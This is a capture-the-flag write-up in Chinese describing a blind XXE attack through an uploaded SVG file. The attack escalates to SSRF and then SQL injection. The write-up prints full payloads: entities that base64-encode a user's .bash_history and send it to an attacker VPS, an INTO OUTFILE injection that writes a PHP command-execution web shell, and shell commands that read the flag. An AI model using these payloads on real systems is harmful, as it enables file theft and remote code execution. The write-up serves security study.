考点:xxe盲打,ssrf.
打开题目要我们通过链接传一个svg文件.
svg文件:https://baike.baidu.com/item/SVG%E6%A0%BC%E5%BC%8F/3463453?fr=aladdin
既然svg文件是一种用xml定义的文件,那我们自然会联想到xxe.首先找个svg图片的源码改装一下命名为xxx.svg放到有公网ip的vps上测试一下,在放有xxx.svg的目录下开启web服务,输入链接,提交,发现成功显示图片,那么就说明实体起了作用,应该是xxe无疑.
xxx.svg:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE fortiguard [ <!ENTITY lab "HELLO"> ]> <svg xmlns="http://www.w3.org/2000/svg" height="200" width="200"> <text y="20" font-size="20">&lab;</text> </svg>
接下来尝试直接读取文件,但是只能看到图片下方的信息,显示图片的地方是空白的.于是联想到xxe盲打.
构造entity.svg,由于使用的是GET请求发送到vps,如果我们读取的内容中含有空格和换行就会400,所以我们要将想要读取的内容进行处理,xml解析器支持使用php://filter进行编码,所以我们可以用php://filter/read=convert.base64-encode
来对内容进行base64编码.
entity.svg:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE fortiguard [ <!ENTITY lab SYSTEM "file:///home/r1ck/.bash_history"> <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///home/r1ck/.bash_history"> <!ENTITY % dtd SYSTEM "http://ip:port/leuk.dtd"> %dtd; %send; ]> <svg xmlns="http://www.w3.org/2000/svg" height="200" width="200"> <text y="20" font-size="20">&lab;</text> </svg>
leuk.dtd:
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://ip:port/?%file;'>" > %all;
在题目的文字框输入链接,提交,可以看到vps上成功收到get请求,解码可得到.bash_history的内容:
cd /app php -S 0.0.0.0:8080
很明显ssrf.
修改entity内容:php://filter/read=convert.base64-encode/resource=file:///app/index.php
,获得源码:
<!doctype html> <html> <head> <meta charset="UTF-8"> <title>index</title> </head> Hi! You Find Me . Flag is nearby. <body> </body> </html> <?php $conn=mysql_connect('127.0.0.1','root',''); mysql_select_db('security'); if ($_GET['id']){ $id = $_GET['id']; } else $id = 1; $sql = "select * from user where id='$id'"; $result = mysql_query($sql,$conn); $arr = mysql_fetch_assoc($result); print_r($arr); ?>
发现sql注入,可以使用联合查询直接写个一句话shell到/app目录.
修改entity:php://filter/convert.base64-encode/resource=http://127.0.0.1:8080/index.php?id=-1%27%20union%20select%201,%27%3c?php%20system($%5fGET%5bcmd%5d)%3b?%3e%27%20into%20outfile%27/app/shell1.php%27%23
写入后修改entity:php://filter/convert.base64-encode/resource=http://127.0.0.1:8080/shell1.php?cmd=ls
可以看到H3re_1s_y0ur_f14g.php
最后修改entity:php://filter/convert.base64-encode/resource=http://127.0.0.1:8080/shell1.php?cmd=cat%20H3re_1s_y0ur_f14g.php
解码得flag.
No responses yet